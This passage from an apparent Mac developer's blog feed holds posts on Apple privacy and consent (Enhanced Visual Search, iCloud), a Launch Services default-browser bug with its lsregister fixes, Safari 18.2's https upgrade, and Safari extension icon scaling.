I have a theory about the problem. I signed my new MacBook Pro into iCloud before I imported my contacts from my old Mac. Indeed, I signed into iCloud before importing any data from my old Mac. The purpose of this was to prevent iCloud from uploading any of my data without my consent, which iCloud tends to do. I avoid iCloud for personal use and enable it only to test my software for customers. (I finally gave in and gave customers iCloud sync after years of requests.) Importing my Contacts database on my new MacBook Pro erased the previous contacts, which consisted solely of a generic, blank "me" card, the default. My theory, then, is that the AirDrop identity hash on my new MacBook Pro was made from this contact, and deleting the contact broke AirDrop Contacts Only.

My question is, can I regenerate the AirDrop identity hash somehow on my new MacBook Pro? For example, is there a specific entry in Keychain Access Local Items that I can delete?

I fear that the answer may be "log out of iCloud and log in again." That's something I don't want to do, for the exact same reason that I logged into iCloud before importing any of my data. iCloud is pushy, greedy, and disrespectful of user consent.

]]>
Technology is never a substitute for consent https://lapcatsoftware.com/articles/2025/1/1.html 2025-01-04T15:15:00Z 2025-01-04T15:15:00Z This is a follow-up to my recent blog posts Apple Photos phones home on iOS 18 and macOS 15 and The internet is full of experts. I've read a lot of the discussion about and responses to my blog posts, which has forced me to hone my own thinking and arguments on the subject. I characterized Apple's new Enhanced Visual Search feature as a privacy violation, but my criticism was perhaps too vague, because there are different ways of understanding the notion of privacy. One natural way of understanding privacy is as synonymous with secrecy. According to this interpretation, if my data is private, then nobody except me can read my data. However, on reflection, I think that my primary objection to Enhanced Visual Search was inspired by a different, though related, understanding of privacy. (You might say that all the meanings of privacy have a "family resemblance," to use Wittgenstein's term.) The right to privacy can also mean the right to private ownership.

According to this alternative interpretation of privacy, the data on my computers is mine, to do with as I please, not as anyone else pleases. My computers, and the data on my computers, should not leave my possession, the "privacy" of my own home, without my consent. If others want access to my data, I may grant permission, but only if they ask and I agree.

With Enhanced Visual Search, Apple appears to focus solely on the understanding of privacy as secrecy, ignoring the understanding of privacy as ownership, because Enhanced Visual Search was enabled by default, without asking users for permission first. The justification for enabling Enhanced Visual Search by default is presumably that Apple's privacy protections are so good that secrecy is always maintained, and thus consent is unnecessary.

My argument is that consent is always necessary, and technology, no matter how (allegedly) good, is never a substitute for consent, because user privacy entails user ownership of their data. The problem with a lot of the responses to my original blog post is that they place the burden of proof on the users, for example, me, to explain why Apple's technology doesn't maintain perfect secrecy. We mere users are at a massive disadvantage in this argument, because we're not experts on subjects such as homomorphic encryption and thus struggle to understand the technical details and raise technical objections to the implementation.

I'm not claiming that Apple's privacy protection technology is flawed. I have no idea whether it's technically flawed. I do think it's reasonable for users to worry that any new Apple technology might be flawed in some way, given Apple's atrocious lack of quality assurance, as well as the endless list of security vulnerabilities. In any case, though, I think the question of technical perfection is mostly a red herring. Technology is never a substitute for consent. The following is not a sound argument: "Apple keeps your data and metadata perfectly secret, impossible for Apple to read, and therefore Apple has a right to upload your data or metadata to Apple's servers without your knowledge or agreement." There's more to privacy than just secrecy; privacy also means ownership. It means personal choice and consent.

The point of obtaining user consent is not to make users understand all of the technical details of the technology involved. Ideally, you could educate users in this way, but practically speaking, in the majority of cases, you probably won't. The point is to respect the autonomy of users, their ownership rights. Ultimately, it's the responsibility of the individual user to become fully technically informed or not, but it's the responsibility of the technology vendor to ask for permission to access user data, regardless of how technically informed the user might be.

There's a straw man reaction to my argument, which is that I'm somehow demanding specific, separate user consent for every individual HTTP request that ever leaves the user's computer. Of course, that's ridiculous! It's common knowledge that a web browser, for example, connects to the internet, and thus entering a URL in the address bar or clicking a link can be interpreted by the browser as user consent to do what is necessary to load the website in the browser, including the transmission of packets over the internet. On the other hand, simply using a web browser does not imply user consent for sending usage data directly to the browser vendor, even if such data is (allegedly) "anonymized." Analytics require separate consent.

Consent fatigue—when users become overwhelmed with the number of permission requests and end up perfunctorily granting all permissions in order to get work done—is a legitimate problem. I take this problem seriously, and I personally think that Apple presents permission requests too often, needlessly. However, a lot of these permission requests are for actions that the user has explicitly initiated, but the computer paternalistically interrupts to ask, "Are you sure you really want to do the thing that you're already trying to do?" This form of annoyance is entirely different from the computer initiating actions on its own, in the background, without any user action, and without any user knowledge. Enabling Enhanced Visual Search was something that Apple wanted to happen, not something that I ever explicitly requested myself. As I said before, I've never even tried to search my own photos library for landmarks. I'm not interested in that feature.

Avoiding consent fatigue is a matter of user interface design. Isn't Apple supposed to be good at user interface design? Indeed, Apple was good at user interface design, under the leadership of Steve Jobs. Not so much under the leadership of Tim Cook. During the Jobs era, Apple parodied the consent fatigue of Windows Vista. Again, though, avoiding consent fatigue is not the same as avoiding consent entirely. There's no excuse for ignoring the individual user's preferences. I think the key to obtaining consent while avoiding consent fatigue is to judiciously "package" consent so that requests are minimized as much as possible, presented only at appropriate times without getting in the way of the user's workflow. It's a difficult problem, but it's a solvable problem with design skill. No amount of engineering skill, no advances in privacy and security technology, can "solve" the problem by making consent obsolete. That's not how it works.

Appendix: Technical Details

I said above that the question of technical perfection is mostly a red herring. Nonetheless, I think the technical debate over Enhanced Visual Search has been oversimplified, and I wanted to address that, without distracting from my main argument, so I'm putting this in an appendix, to be considered independently. The oversimplification is that the data from your photos—or metadata, however you want to characterize it—is encrypted, and thus there are no privacy issues. Not even Apple believes this, as is clear from their technical papers. We're not dealing simply with data at rest but rather data in motion, which raises a whole host of other issues. From Apple's machine learning research blog post:

Identifying the database shard relevant to the query could reveal sensitive information about the query itself, so we use differential privacy (DP) with OHTTP relay — operated by a third party — as an anonymization network which hides the device's source IP address before the request ever reaches the Apple server infrastructure. With DP, the client issues fake queries alongside its real ones, so the server cannot tell which are genuine. The queries are also routed through the anonymization network to ensure the server can’t link multiple requests to the same client.

Thus, the question is not only whether Apple's implementation of Homomorphic Encryption (and Private Information Retrieval and Private Nearest Neighbor Search) is perfect but whether Apple's entire apparatus of multiple moving parts, involving third parties, anonymization networks, etc., is perfect. I think some skepticism is reasonable and warranted, especially for brand new technology that hasn't been validated by external experts.

I believe that OHTTP, Oblivious HTTP, is the same as or very similar to the technology behind iCloud Private Relay (which, incidentally, as far as I can tell, is the cause of a majority of the web page loading issues that many users unfortunately experience in Safari). With iCloud Private Relay, Apple partners with an internet provider, typically Cloudflare, and the theory is that a user's internet traffic is kept private because it first goes through two hops, Apple and its partner, with each hop receiving only partial information, and thus neither of the hops has enough information to identify both the user's IP address and sent data. I've always been somewhat skeptical of this scheme, because the two hops, the two companies, are already acting in partnership, so what is there technically in the relay setup to stop the two companies from getting together—either voluntarily or at the secret command of some government—to compare notes, as it were, and connect the dots?

]]>
The internet is full of experts https://lapcatsoftware.com/articles/2024/12/4.html 2024-12-31T14:00:00Z 2024-12-31T14:00:00Z My recent blog post Apple Photos phones home on iOS 18 and macOS 15 has received widespread attention, and perhaps inevitably, it has also received widespread criticism by random internet commenters. A common criticism is that I somehow discredited myself by stating, honestly, "I don't understand most of the technical details of Apple's blog post", referring to Combining Machine Learning and Homomorphic Encryption in the Apple Ecosystem. Ironically, I managed to bring more attention to Apple's blog post than Apple itself did.

I'm not a professional cryptographer. Of course, neither are my critics. Below is a statement by one, who is not among my critics.

I’m a cryptographer and I just learned about this feature today while I’m on a holiday vacation with my family. I would have loved the chance to read about the architecture, think hard about how much leakage there is in this scheme, but I only learned about it in time to see that it had already been activated on my device. Coincidentally on a vacation where I’ve just taken about 400 photos of recognizable locations.

I would say that internet commenters who had never heard of the author, Matthew Green, have no justification for criticizing me as some kind of fool.

The issues mentioned in Apple's blog post are so complex that Apple had to make reference to two of their scientific papers, Scalable Private Search with Wally and Learning with Privacy at Scale, which are even more complex and opaque than the blog post. How many among my critics have read and understood those papers? I'd guess approximately zero.

I'm just a software developer. A software developer with 18 years of experience on Apple platforms, as well as multiple Apple-credited CVEs to my name. Demonstrably, I'm pretty darn smart and knowledgeable. I'm also wise enough to know my limitations. My eyes glaze over when I read things such as "We have implemented the Brakerski-Fan-Vercauteren (BFV) HE scheme, which supports homomorphic operations that are well suited for computation (such as dot products or cosine similarity) on embedding vectors that are common to ML workflows" and "For running PNNS for Enhanced Visual Search, our system ensures strong privacy parameters for each user's photo library i.e. (ε, δ)-DP, with ε = 0.8 , δ = 10-6." Tell me honestly that you understand that! How many people in the world understand it?

My critics appear to argue that either I've neglected to do basic research or that I'm not qualified to raise questions about Enhanced Visual Search if I don't fully understand the technical details. Both arguments are absurd. In effect, my critics are demanding silence from nearly everyone. According to their criticism, an iPhone user is not entitled to question an iPhone feature. Whatever Apple says must be trusted implicitly. These random internet commenters become self-appointed experts simply by parroting Apple's words and nodding along as if everything were obvious, despite the fact that it's not obvious to an actual expert, a famous cryptographer.

Most of my critics have misunderstood my own argument. I wasn't suggesting that an Apple user should never trust Apple unless the user can verify everything themselves technically. As a developer of closed-source software, I don't expect this approach from my customers. They need to trust me, at least to an extent. (Personally, I try to earn that trust by being as open and honest as possible; and for better or worse, my software never collects analytics.) For the end user of technology, it's always a matter of weighing the risks vs. the benefits. My argument was that Enhanced Visual Search offered me no benefits at all. I've literally never wanted to search for landmarks in my Photos library. Thus, in this specific case, no amount of privacy risk, no matter how small, is worth it to me.

There are some Apple online services that I use, despite the privacy risks, because the benefits to me are significant. And there are Apple online services that I avoid because of the privacy risks, when they aren't outweighed by the benefits. It doesn't take an expert to make these decisions. They're very personal decisions, to be made by each user independently, according to their desires and their tolerance for risk. My objection to Apple's Enhanced Visual Search is not the technical details specifically, which are difficult for most users to evaluate, but rather the fact that Apple has taken the choice out of my hands and enabled the online service by default. Moreover, Apple didn't publicize the new feature in iOS 18—as far as I can tell, it's not even in the list of all new features—and the off switch is buried at the bottom of Photos Settings, which is why we're having this conversation in late December rather than in mid-September when iOS 18 and macOS 15 were released.

Unfortunately, it's been proven that Apple can't always be trusted with privacy. In my previous blog post, I mentioned the numerous acknowledged vulnerabilities in Apple's products, listed in Apple's security release notes. I'd also like to mention how Apple broke its promise to provide a setting for users to opt out of its online OCSP service that checks Mac app code signing certificates for revocation. A failure of this service caused a massive, worldwide outage in 2020, and I was among the first to reveal the cause of and a solution for the outage, as well as the uncomfortable truth that the service was operating unencrypted over the internet, a blatant privacy violation.

By the way, it's not clear to me that disabling Enhanced Visual Search in Settings is truly a solution to the privacy issue. Apple's machine learning blog post doesn't entirely explain how it works, but the implication seems to be that for all photos in your library on your device that have "regions of interest" identified by machine learning, metadata from those photos are uploaded to Apple servers before any search is performed. This makes intuitive sense to me, otherwise searches of very large libraries with thousands of photos could be very slow. Thus, disabling the feature in Settings might be too late to protect your current photo library, if the data/metadata has already been uploaded. It would have been uploaded, I assume, shortly after you installed iOS 18 and macOS 15. I could be wrong, though, and I would welcome public clarification from Apple.

]]>
Apple Photos phones home on iOS 18 and macOS 15 https://lapcatsoftware.com/articles/2024/12/3.html 2024-12-28T19:05:00Z 2024-12-28T19:45:00Z This morning while perusing the settings of a bunch of apps on my iPhone, I discovered a new setting for Photos that was enabled by default: Enhanced Visual Search. (I manually disabled it before taking the screenshot below.)

Settings app > Apps > Photos

This setting is also new to Photos on macOS Sequoia, and enabled by default.

Photos app General Settings

Oddly, this new feature has mostly gone unmentioned in the Apple news media, according to Google. Moreover, it has also mostly gone unmentioned by Apple itself, according to Google. There appear to be only two relevant documents on Apple's website, the first of which is a legal notice about Photos & Privacy:

Enhanced Visual Search in Photos allows you to search for photos using landmarks or points of interest. Your device privately matches places in your photos to a global index Apple maintains on our servers. We apply homomorphic encryption and differential privacy, and use an OHTTP relay that hides IP address. This prevents Apple from learning about the information in your photos. You can turn off Enhanced Visual Search at any time on your iOS or iPadOS device by going to Settings > Apps > Photos. On Mac, open Photos and go to Settings > General.

The second online Apple document is a blog post by Machine Learning Research titled Combining Machine Learning and Homomorphic Encryption in the Apple Ecosystem and published on October 24, 2024. (Note that iOS 18 and macOS 15 were released to the public on September 16.)

At Apple, we believe privacy is a fundamental human right. Our work to protect user privacy is informed by a set of privacy principles, and one of those principles is to prioritize using on-device processing. By performing computations locally on a user’s device, we help minimize the amount of data that is shared with Apple or other entities. Of course, a user may request on-device experiences powered by machine learning (ML) that can be enriched by looking up global knowledge hosted on servers. To uphold our commitment to privacy while delivering these experiences, we have implemented a combination of technologies to help ensure these server lookups are private, efficient, and scalable.

Of course, this user never requested that my on-device experiences be "enriched" by phoning home to Cupertino. This choice was made by Apple, silently, without my consent.

From my own perspective, computing privacy is simple: if something happens entirely on my computer, then it's private, whereas if my computer sends data to the manufacturer of the computer, then it's not private, or at least not entirely private. Thus, the only way to guarantee computing privacy is to not send data off the device.

I don't understand most of the technical details of Apple's blog post. I have no way to personally evaluate the soundness of Apple's implementation of Enhanced Visual Search. One thing I do know, however, is that Apple computers are constantly full of privacy and security vulnerabilities, as proved by Apple's own security release notes. You don't even have to hypothesize lies, conspiracies, or malicious intentions on the part of Apple to be suspicious of their privacy claims. A software bug would be sufficient to make users vulnerable, and Apple can't guarantee that their software includes no bugs. (To the contrary, Apple's QA nowadays is atrocious.)

It ought to be up to the individual user to decide their own tolerance for the risk of privacy violations. In this specific case, I have no tolerance for risk, because I simply have no interest in the Enhanced Visual Search feature, even if it happened to work flawlessly. There's no benefit to outweigh the risk. By enabling the "feature" without asking, Apple disrespects users and their preferences. I never wanted my iPhone to phone home to Apple.

Remember this advertisement? "What happens on your iPhone, stays on your iPhone."

What happens on your iPhone, stays on your iPhone.
Credit: 9to5Mac

That was demonstrably a lie.

On macOS, I can usually prevent Apple software from phoning home by using Little Snitch. Unfortunately, Apple doesn't allow anything like Little Snitch on iOS. Allegedly, the iOS restrictions are to protect the privacy and security of users, but I feel the opposite, that Apple is actively preventing us from protecting ourselves.

]]>
Deep dive into a macOS default web browser bug https://lapcatsoftware.com/articles/2024/12/2.html 2024-12-20T15:30:50Z 2024-12-20T18:30:50Z This blog post has undergone some revision and correction since first published. It turns out, contrary to my initial assumption, that the code signatures of the apps is largely irrelevant. Thanks to Avi Drissman of the Google Chrome team for assistance!

According to the Apple Developer Documentation, "macOS Launch Services is an API that enables a running app to open other apps or their document files, similar to the Finder or the Dock." Launch Services covers an assortment of functionality on macOS, including control over your default web browser, which you can (normally) see and change in System Settings under (for some strange reason) Desktop & Dock.

Launch Services has become quite buggy in recent years. One notorious bug was the case of the disappearing Safari extensions, introduced in macOS 11 Big Sur and finally fixed in macOS 13 Ventura. In this blog post, I'll discuss a current bug involving multiple versions of the same app installed on one Mac. The bug is particularly painful for Mac software developers such as myself, because we're constantly building and running different versions of the apps that we develop.

Technically speaking, apps are treated as the same by Launch Services if they share a bundle identifier. For illustration, I'll use my app Link Unshortener. The App Store installs it at /Applications/Link Unshortener.app in the file system. In Terminal app, the following command displays the contents of Link Unshortener's Info.plist file, which contains essential information about the app:

cat '/Applications/Link Unshortener.app/Contents/Info.plist'

Link Unshortener's bundle identifier:

<key>CFBundleIdentifier</key>
<string>com.underpassapp.LinkUnshortener</string>

Link Unshortener's bundle version:

<key>CFBundleVersion</key>
<string>54</string>

I've set Link Unshortener as the default web browser on my Macs, which is possible because the app also declares in its Info.plist file that it handles http and https website URL schemes. This command opens the specified URL in the default web browser, which for me is Link Unshortener:

open https://www.apple.com

When you set the default web browser on your Mac, Launch Services records not only the bundle identifier of the app but also, for some strange reason, its bundle version. You can find this information in the ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist file:

<key>LSHandlerPreferredVersions</key>
<dict>
<key>LSHandlerRoleAll</key>
<string>54.0</string>
</dict>
<key>LSHandlerRoleAll</key>
<string>com.underpassapp.linkunshortener</string>
<key>LSHandlerURLScheme</key>
<string>http</string>

As long as you don't update your default web browser, you can move the app almost anywhere in the file system on your Mac—or onto the file system of another Mac connected by File Sharing!—and Launch Services will find it. (I was stunned to discover that if my default web browser is not currently installed on one Mac, then open https://www.apple.com will open it from another Mac on my LAN.)

Inevitably, you will install a new version of your default web browser, after which Launch Services will no longer be able to find an app that matches the specific bundle version in its records. What happens then? As you might expect, Launch Services attempts to fall back to an app with the same bundle identifier. If there's only one such app installed, then open https://www.apple.com will open it.

If there's more than one app installed with the same bundle identifier as your default web browser, Launch Services faces a kind of dilemma in selecting a fallback. This might not be a common scenario for end users, but it's a common scenario for me as a software developer. In addition to the latest App Store version of Link Unshortener, I may also have a newer, unpublished version of Link Unshortener that I'm currently working on.

Launch Services has an interesting fallback algorithm for selecting the default web browser. Apps inside the root-level /Applications folder are preferred to apps elsewhere in the file system (preferred even to apps inside the user-level ~/Applications folder). This preference is unfortunate for me, because the Xcode developer tools standardly build apps in the ~/Library/Developer/Xcode folder. Thus, the App Store version of Link Unshortener would be selected by Launch Services over the development version. For the purpose of testing Link Unshortener, the standard Xcode build folder is deficient.

To work around the Launch Services preference for /Applications, I've changed the build location in the advanced project settings of Link Unshortener's Xcode project to use a custom, absolute path inside a subfolder of the /Applications folder, which means that building Link Unshortener in Xcode installs the app within the /Applications folder. A subfolder is used because the App Store app is owned by the root user, so Xcode doesn't have permission to overwrite it, and anyway I wouldn't want Xcode to remove the App Store version. As a result of my build configuration, the /Applications folder contains two versions of Link Unshortener, usually with different version numbers.

When there's more than one version of an app inside the /Applications folder, Launch Services selects the one with the higher version number (assuming that neither app has the same bundle version as your original choice of default web browser, stored in the Launch Services preferences file). Consequently, open https://www.apple.com uses my newer version built by Xcode rather than the older version installed by the App Store. This allows me to test the full functionality of Link Unshortener during development.

You can see the same behavior from the Terminal command to open an app with the specified bundle identifier:

open -b com.underpassapp.LinkUnshortener

This command again prefers apps inside the /Applications folder to apps elsewhere in the file system. And it prefers the app with the highest version number to apps with lower version numbers.

A long time ago, in a paragraph far, far above, I claimed that I was going to discuss a Launch Services bug involving the default web browser. This claim was true. With the necessary background out of the way, I'll get on with it. There are a number of components to the bug:

  1. Xcode build registers the built app with Launch Services, but Xcode clean does not unregister the built app with Launch Services.
  2. Xcode clean does not directly remove the built app but only the build products folder containing the app.
  3. Removing a parent folder of an app does not unregister the app with Launch Services.
  4. Launch Services gets confused by a stale record of a nonexistent app.

I'll discuss these components in more detail. If you check the Xcode build transcript, you can see that the last step of the build process is to register the built app with Launch Services:

/System/Library/Frameworks/CoreServices.framework/Versions/Current/Frameworks/LaunchServices.framework/Versions/Current/Support/lsregister -f -R -trusted /Applications/XcodeBuilds/LinkUnshortener/Build/Products/Debug/Link\ Unshortener.app

On the other hand, no invocation of lsregister -f -u occurs when cleaning the build folder in Xcode.

The good news is that the command below does automatically unregister the app with Launch Services (as does moving the app bundle to the Trash in Finder):

rm -fR /Applications/XcodeBuilds/LinkUnshortener/Build/Products/Debug/Link\ Unshortener.app

The bad news is that Xcode clean doesn't run the above command! Rather, Xcode clean does the equivalent of this command:

rm -fR /Applications/XcodeBuilds/LinkUnshortener/Build/Products

Unfortunately, neither the above command nor moving the build products folder to the Trash in Finder automatically unregisters apps inside the removed build products folder. Instead, removing a parent folder of an app leaves a stale Launch Services record for the app:

% /System/Library/Frameworks/CoreServices.framework/Versions/Current/Frameworks/LaunchServices.framework/Versions/Current/Support/lsregister -dump Bundle | grep 'Link Unshortener.app'
path: /Applications/Link Unshortener.app (0x4de54)
path: /Applications/XcodeBuilds/LinkUnshortener/Build/Products/Debug/Link Unshortener.app (0x4dfd8)

It's worth noting that moving a parent folder of an app to the Trash and emptying the Trash does automatically unregister the app with Launch Services. Xcode clean doesn't use the Trash, however.

The final piece of the puzzle is the algorithm to select the default web browser. Launch Services becomes confused by a stale record of a nonexistent, removed app. You might expect that open https://www.apple.com would fall back to the existing App Store version of Link Unshortener at /Applications/Link Unshortener.app if Launch Services can't find the version of Link Unshortener at /Applications/XcodeBuilds/LinkUnshortener/Build/Products/Debug/Link Unshortener.app, which no longer exists. That's not what happens, though. Rather than falling back to the next valid web browser candidate, Launch Services simply gives up and opens the URL in Safari, regardless of whether you're a Safari user. Even stranger, System Settings shows that my default web browser is Arc! Why Arc? Because it's the first alphabetically in the sorted list of my installed web browsers.

In this strange, buggy situation, changing my default web browser from Arc back to Link Unshortener doesn't stick. The next time I open System Settings, it shows Arc again, and open https://www.apple.com continues to open Safari rather than Link Unshortener. Using the Launch Services API to change my default web browser to Link Unshortener (for example with my open source app Default web browser) is similarly futile.

The only solution to this problem is to delete the stale Launch Services record by force unregistering the removed app:

/System/Library/Frameworks/CoreServices.framework/Versions/Current/Frameworks/LaunchServices.framework/Versions/Current/Support/lsregister -f -u '/Applications/XcodeBuilds/LinkUnshortener/Build/Products/Debug/Link Unshortener.app'

After that command is run, /Applications/Link Unshortener.app is restored as the default web browser, and the command open https://www.apple.com once again opens Link Unshortener rather than Safari.

One puzzling aspect of the default web browser selection bug is that unlike the open https://www.apple.com command (which opens the specified URL in the default web browser), the open -b com.underpassapp.LinkUnshortener command (which opens the app with the specified bundle identifier) does successfully fall back to the App Store version of Link Unshortener in the face of a stale Launch Services record for the removed development version of Link Unshortener. There's no confusion in that case.

The bug that I've discussed in this blog post may remind longtime readers of another blog post that I wrote almost five years ago about deleting DerivedData the right way. In that old blog post, I warned against using a popular method of deleting the Xcode DerivedData folder:

rm -fR ~/Library/Developer/Xcode/DerivedData

Coincidentally, the reason for my warning back then was the same as in today's blog post: removing a parent folder of an app doesn't unregister the app with Launch Services! Of course, I wasn't aware at that time of the default web browser bug; indeed, I don't know whether the default web browser bug existed at that time. Nonetheless, filling your Launch Services database with stale app records always seemed like a bad idea. It took a number of years to discover exactly how bad this could be.

By the way, if you'd like to test the default web browser bug yourself, you can use my open source app PrivateWindow, which can be set as the default web browser on your Mac. You don't actually need to enable PrivateWindow in Accessibility System Settings, as described in the installation instructions, because the only point of the test is to open the PrivateWindow app, not to open a private window in Safari.

There are three versions of the PrivateWindow app, which is perfect for testing with Launch Services. First, download version 1.0, install it at /Applications/PrivateWindow.app, and set it as your default web browser. Remember that Launch Services will record its specific bundle version. Then delete version 1.0 and install version 2.0 at /Applications/PrivateWindow.app. It should continue to be your default web browser. Finally, install version 3.0 at /Applications/Testing/PrivateWindow.app. Everything I've said about Link Unshortener in this blog post should apply to PrivateWindow as well.

Appendix: Safari Extensions

It turns out that Safari also becomes confused by stale Launch Services records of removed Safari extension apps. For example, I can set the Xcode project of my Safari extension StopTheMadness Pro to build here:

/Applications/XcodeBuilds/StopTheMadnessPro/Build/Products/Debug/StopTheMadness Pro.app

If I clean the build folder and then launch Safari, StopTheMadness Pro disappears from the Extensions pane in Safari Settings. It also disappears from Safari window toolbars. (Older versions of Safari would crash in this situation, but I think Apple fixed that after I reported a problem.)

The only way to restore the extension in Safari from the App Store version of StopTheMadness Pro at /Applications/StopTheMadness Pro.app is to force unregister the removed development version:

/System/Library/Frameworks/CoreServices.framework/Versions/Current/Frameworks/LaunchServices.framework/Versions/Current/Support/lsregister -f -u '/Applications/XcodeBuilds/StopTheMadnessPro/Build/Products/Debug/StopTheMadness Pro.app'

I started building StopTheMadness Pro within the /Applications folder because of another bug: "Regression: Ventura Safari no longer find higher version extensions outside the Applications folder" (FB11795767). However, Safari's confusion over stale Launch Services records made it impossible to continue with that method. What I do now is assign a different bundle identifier to the development version of StopTheMadness Pro, which eliminates any conflict with the App Store version of StopTheMadness Pro. Of course, two different bundle identifiers means that StopTheMadness Pro appears twice in Safari Extensions Settings, so I have to disable and enable the extensions there to switch between them.

]]>
How Safari 18.2 https upgrade works https://lapcatsoftware.com/articles/2024/12/1.html 2024-12-12T15:30:50Z 2024-12-12T15:30:50Z Yesterday, Apple released Safari version 18.2, included with iOS 18.2 and macOS 15.2, as a separate update for macOS 14 and 13. I've already discussed one new feature of Safari 18.2, Copy Link with Highlight, in another blog post. Now I'd like to discuss another new feature, automatic https upgrade. From Apple's announcement:

Safari 18.2 on iOS, iPadOS, and visionOS will always try to load webpages over secure connections first, i.e. HTTPS by default. Only if the secure page load fails will Safari fall back to non-secure HTTP.

In addition, on all platforms, Safari 18.2 also adds an optional Security setting to enforce secure connections and show a warning before attempting a non-secure fallback. The user then gets to choose if they want to cancel or continue over HTTP. The label of the setting is “Not Secure Connection Warning” on iOS, iPadOS, and VisionOS. It is “Warn before connecting to a website over a non-secure connection” on macOS.

I believe there's an oversight in the first paragraph, because HTTPS by default appears to apply to macOS as well as to iOS, iPadOS, and visionOS.

Here's an example: if you click the insecure http link http://example.org, Safari 18.2 will automatically, silently load the secure https link https://example.org instead.

There's a confusing caveat: the https upgrade feature does not apply to URLs entered in the Safari address bar. So if you copy and paste the URL rather than clicking it, Safari will load the insecure http link, not the secure https link.

I've seen mixed results with bookmarks: if you bookmark an http URL, macOS Safari loads the bookmark as insecure http, whereas iOS Safari upgrades the connection and loads the bookmark as secure https.

Adding to the confusion, macOS Safari does upgrade the connection to https if you select an http URL as a Top Hit in the address bar, even if that URL is a bookmark!

Safari Top Hit

All of the behavior I've described above occurs automatically in Safari 18.2, whether you like it or not. Safari 18.2 has also added a new setting called "Warning before connecting to a website over HTTP" on macOS (slightly contrary to the wording quoted above from Apple's blog post) and "Not Secure Connection Warning" on iOS (somewhat ambiguous, ought to be rephrased as "Insecure Connection Warning").

Ironically, you probably won't ever see this warning, and you might conclude that the new Safari setting doesn't work. That's what I thought at first. There are two reasons for the confusion: (1) Safari won't warn you if it can perform automatic https upgrade, because then you don't need to be warned; (2) Safari warns you only in situations where it would apply automatic https upgrade. To elaborate on the second reason, we already know that Safari does not apply https upgrade to URLs that you enter into the address bar. Thus, if you paste an http URL into the address bar and load it, Safari will neither upgrade the connection to https nor warn you about loading over an insecure connection. In other words, if you're entering a URL manually, Safari assumes that you know what you're doing and thus does precisely what you specify, without second-guessing you.

So when would you see the warning? Two conditions need to apply: (1) Safari attempts to perform an https upgrade, and (2) Safari fails to perform the https upgrade. If you want to see the warning in action, you can click on a link to an http-only website, http://httpforever.com for example. An http-only website lacks a valid certificate, so it can't use an https connection.

This Connection Is Not Secure

Again, you won't see this warning if you paste http://httpforever.com into the address bar. The warning appears only when you click the link (or when you select an "Open" item in the Safari contextual menu). By the way, you will see the connection warning in the contextual menu's link preview, so kudos to Apple for testing that scenario.

One more thing: I found a bug. The new Safari setting doesn't work right with http://localhost URLs. Instead of showing the warning, Safari blocks the URL, with no option to load.

Navigation failed because the request was for an HTTP URL with HTTPS-Only enabled

I'll file a bug report with WebKit after I've published this blog post.

]]>
How Safari (insanely) displays app extension icons https://lapcatsoftware.com/articles/2024/11/2.html 2024-11-29T15:52:50Z 2024-11-29T15:52:50Z I'm not talking about the tint of the extension icons this time. I'm talking about the size of the extension icons in the Safari toolbar on Mac. I've explained the difference between Safari app extensions and Safari web extensions before, so I won't repeat the explanation here, except to note that my own StopTheMadness Pro and StopTheScript are examples of Safari app extensions.

According to the Apple developer documentation, the toolbar icon of a Safari app extension should be "a scalable PDF image. The image must be transparent." If you create a new Safari app extension project in Xcode, it comes with a default extension icon, a 16x16 image in pdf format. I believe that this size is actually outdated now. A few years ago I wrote in a blog post about Safari web extension development,

On macOS Big Sur, the toolbar shows the 38x38 retina and 19x19 non-retina icon sizes, while on macOS Mojave, the toolbar shows the 32x32 retina and 16x16 non-retina icon sizes. I believe that these sizes are determined by Safari's toolbarItemIdealPointSize private method.

One of the most useful tools for investigating icon sizes is Pixie app, which is included in the Xcode Additional Tools download. Pixie zooms in on the area of your screen under the pointer, showing the individual pixels, which you can then count. Using Pixie, I discovered that all app extension icons in the Safari toolbar are also 19x19 (38x38 retina), not 16x16 (32x32). This appears to be totally undocumented by Apple, of course.

The undocumented change of extension icon size is annoying but not insane. What's insane is how Safari produces a 19x19 icon from the image file. The context for this insanity is that StopTheMadness Pro version 12.0 introduced a new Safari extension toolbar icon, but some customers immediately complained that the new icon was too large, so I was attempting to make it smaller.

After a lot of trial and error, I finally figured out the algorithm used by Safari. It turns out that Safari ignores any margins in the image file. Instead, Safari looks for nontransparent pixels in the image file, measuring the width as the distance between the leftmost and rightmost nontransparent pixels and the height as the distance between the topmost and bottommost nontransparent pixels. Safari then takes the square size of the image to be the larger of the width or height. Finally, Safari scales that square subarea of the image file to 19x19 (38x38 retina).

Thus, if you have a 16x16 pdf containing a 14x14 image with 1 pixel margins on all sides, Safari will cut out the 14x14 area and scale it up to 19x19. Likewise, if you have a 19x19 pdf containing a 15x15 image with 2 pixel margins on all sides, Safari will cut out the 15x15 area and scale it up to 19x19, even though the pdf was already 19x19.

Needless to say, Safari's behavior is nonideal for several reasons. It goes against the design of the icon creator, who included margins for a reason. Upscaling images can make them look distorted, or at least not as sharp. And Safari's own built-in toolbar icons are invariably smaller, which makes the Safari extension toolbar icons look oversized and out of place. (This is exacerbated by the tint that Safari applies to enabled Safari extension icons.) For example, the Safari back and forward arrows are only 29 pixels tall on retina and the Show sidebar button only 31, rather than 38. Even the Share button is not quite full height, 37 retina pixels from top to bottom.

Is there a workaround? Fortunately, yes. I used the workaround in StopTheMadness Pro version 12.1. Its Mac Safari toolbar icon is a 19x19 scalable pdf containing a 15x15 image with 2 pixel margins on all sides. However, the margins are very subtly off-white, in a way that the human eye can't discern. Nonetheless, that's sufficient to register as nontransparent to Safari and cause it to compute the image size as 19x19 rather than 15x15, thereby preserving the margins when the icon is displayed in the toolbar.

What an ordeal it was, though, to discover Safari's insane algorithm and the workaround for it. Hopefully this blog post is helpful to other Safari app extension developers. I've looked at a couple extensions, and I notice that Safari is indeed upscaling their toolbar icons, whether they realize it or not.

]]>
